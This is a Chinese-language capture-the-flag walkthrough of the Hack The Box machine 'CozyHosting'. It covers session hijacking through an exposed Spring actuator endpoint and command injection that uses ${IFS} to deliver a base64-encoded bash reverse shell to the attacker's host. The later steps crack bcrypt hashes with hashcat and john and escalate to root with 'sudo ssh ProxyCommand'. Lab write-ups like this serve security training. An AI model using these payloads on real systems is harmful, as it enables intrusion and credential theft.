还是先 nmap 扫一下:

$ nmap -n -Pn -sV 10.10.11.230
Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-18 20:44 CST
Nmap scan report for 10.10.11.230
Host is up (0.073s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.70 seconds

开了 80 和 22,访问一下:

自动跳转到了 http://cozyhosting.htb/,我们把它添加到 /etc/hosts,接下来刷新进入:

我们尝试用 admin/admin 登录,会发现登录是通过 Cookie 中的 JSESSIONID 向服务器发送请求的:

接下来进行一次 dirsearch 扫描,看看有什么泄露的信息:

dirsearch -u http://cozyhosting.htb

我们能发现在 /actuator/sessions 目录下包含所有用户的 JESSIONID:

尝试用这个已登录的 kanderson 的 JSESSIONID 替代所有的请求中的 JSESSIONID 登录:

SESSION 到期时间

这里 session 到期时间比较快,需要经常性地更换 session。

进入后台:

发现似乎存在一个 ssh 连接的功能,设置 host 为 127.0.0.1,看看报文:

返回错误:

看上去可以命令注入,尝试在 username 字段输入 test',发现报错执行 bash 时出现错误:

接下来就在 username 处构造命令注入,通过 ${IFS} 绕过空格限制,通过 base64 反弹 shell。

具体来说是我们制作这样一个 payload:

echo "bash -i >& /dev/tcp/<your-ip>/<your-port> 0>&1" | base64 -w 0

然后在 username 字段构造 payload,并用 ${IFS} 绕过:

;echo${IFS%}"<your payload here>"${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash;

接下来把它转成 URL-encoded 的版本:(图上有些小问题,应该是 ${IFS} 而不是 ${IFS%??}

我们在本地监听端口,就能得到一个 shell 了:

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 2345
listening on [any] 2345 ...
connect to [10.10.16.51] from (UNKNOWN) [10.10.11.230] 36530
bash: cannot set terminal process group (1064): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$

为了得到一个更稳定的 shell,我们可以这样做:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z  
stty raw -echo; fg

这里我们能看到一个 jar 文件,通过 python 启动一个服务器下载下来:

在服务器上:

python3 -m http.server 4444

在本地:

wget http://10.10.11.230:4444/<file_name>

接下来通过 jd-gui 打开这个文件,可以翻到数据库的用户名和密码:

jd-gui xxx

这样就可以登录本地数据库了:

psql -h 127.0.0.1 -U postgres
> \c cozyhosting
app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres
Password for user postgres:
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# \c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=#

接下来获取密码的哈希值:

> \d
> select * from users;

   name    |                           password                           | role
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

用 john 跑一下 kanderson 密码的类型:

└─$ john hash.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single

发现是 Blowfish 32/64 X3,搜索hashcat中对应的编号,为3200:

└─$ hashcat -h | grep "Blowfish"
   3200 | bcrypt $2*$, Blowfish (Unix)   | Operating System
  18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish)           | Document

我们可以用 john 通过 rockyou 字典跑:

└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
... ...
manchesterunited (?)
... ...

也可以用 hashcat:

└─$ hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
... ...
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
... ...

我先跑了 kanderson 的,结果好久没跑出来,但是 admin 的很快就跑出来了。

之后去翻一下 /etc/passwd

app@cozyhosting:/app$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash

看上去 josh 是可以登录的用户。接下来用这个密码登录,就可以找到 user 密钥了。

接下来通过命令 sudo -l 可以列出 root 可以使用的命令列表。用户可以在本地运行 root 权限的 ssh,可以用 GTFOBINS 查询怎样获得 root 权限:

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root

这样就拿到了 root 权限。

参考资料